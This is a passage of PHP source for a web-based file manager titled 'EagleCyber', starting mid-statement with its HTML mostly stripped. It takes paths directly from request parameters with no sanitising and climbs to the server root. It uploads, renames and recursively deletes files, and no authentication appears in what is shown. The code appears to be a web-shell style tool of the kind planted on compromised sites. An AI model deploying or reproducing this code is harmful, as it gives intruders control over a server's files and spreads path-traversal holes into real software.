.. '; } } else { $FilePath = $Path . "/". $File; if (filetype($FilePath) == 'dir') { $TableFolder .= ' '.$File.' Folder '.date ("d F Y H:i:s", filemtime($FilePath)).' '.decoct(fileperms($FilePath) & 0777).' '; } else { $TableFile .= ' '.$File.' '.HitungFileSize(filesize($FilePath)).' '.date ("d F Y H:i:s", filemtime($FilePath)).' '.decoct(fileperms($FilePath) & 0777).' '; } } } $IsiTable .= $TableFolder . $TableFile ; return $IsiTable ; } function NgisiBreadCrumb() { if (isset($_GET["p"])) { if ($_GET["p"] == "") { } else { $array = explode("/", $_GET["p"]); $parent = null; $i=0; $isiBreadCrumb = null; while($i < (count($array))) { $parent .= "/" . $array [$i] ; $parent = BersihkanPath($parent); $isiBreadCrumb .= '' ; $i += 1 ; } return $isiBreadCrumb; } } } function Pathing () { $Root = Rootpath(); $PosisiSekarang = getcwd(); $Path = null; $PosisiSekarang = str_replace("\\","/",$PosisiSekarang); $ArrayRoot = explode("/",$Root) ; $ArrayPosisi = explode("/",$PosisiSekarang) ; $i = count($ArrayPosisi) ; while ($i > count($ArrayRoot)) { $Path .= "../"; $i -= 1 ; } if (isset($_GET["p"])) { $Path .= $_GET["p"] ; } $Path .= "/"; return $Path ; } function DeleteFolder($Path) { $ListFile = scandir($Path); foreach ($ListFile as $File) { $FilePath = $Path . "/". $File; if($File == "." or $File == "..") { }else { if (filetype($FilePath) == 'dir') { DeleteFolder($FilePath) ; } else { unlink($FilePath); } } } rmdir($Path) ; } function DownloadFile () { if (isset($_GET["DL"])) { $filename = Pathing() . $_GET["DL"] ; header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header("Cache-Control: no-cache, must-revalidate"); header("Expires: 0"); header('Content-Disposition: attachment; filename="'.basename($filename).'"'); header('Content-Length: ' . filesize($filename)); header('Pragma: public'); } } function ButtonAction() { if(isset($_POST["submit"])) { $action = $_POST["action"]; if ($action == "Upload File") { $target_dir = Pathing(); $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]); move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file); } else if ($action == "New File") { $NamaFile = $_POST["NamaFile"]; $myfile = fopen(Pathing() . $NamaFile, "w") ; } else if ($action == "New Folder") { $NamaFolder = $_POST["NamaFolder"]; mkdir(Pathing() . $NamaFolder); } else if ($action == "Rename") { $OldName = $_POST["OldName"]; $NewName = $_POST["NewName"]; rename(Pathing() . $OldName, Pathing() . $NewName) ; } else if ($action == "Delete") { $Namaitem = $_POST["NamaItem"]; $Type = $_POST["Type"]; if ($Type == "File") { unlink(Pathing(). $Namaitem); } else { DeleteFolder(Pathing(). $Namaitem); } } } } ?> EagleCyber
Name Size Last Modified Permission Option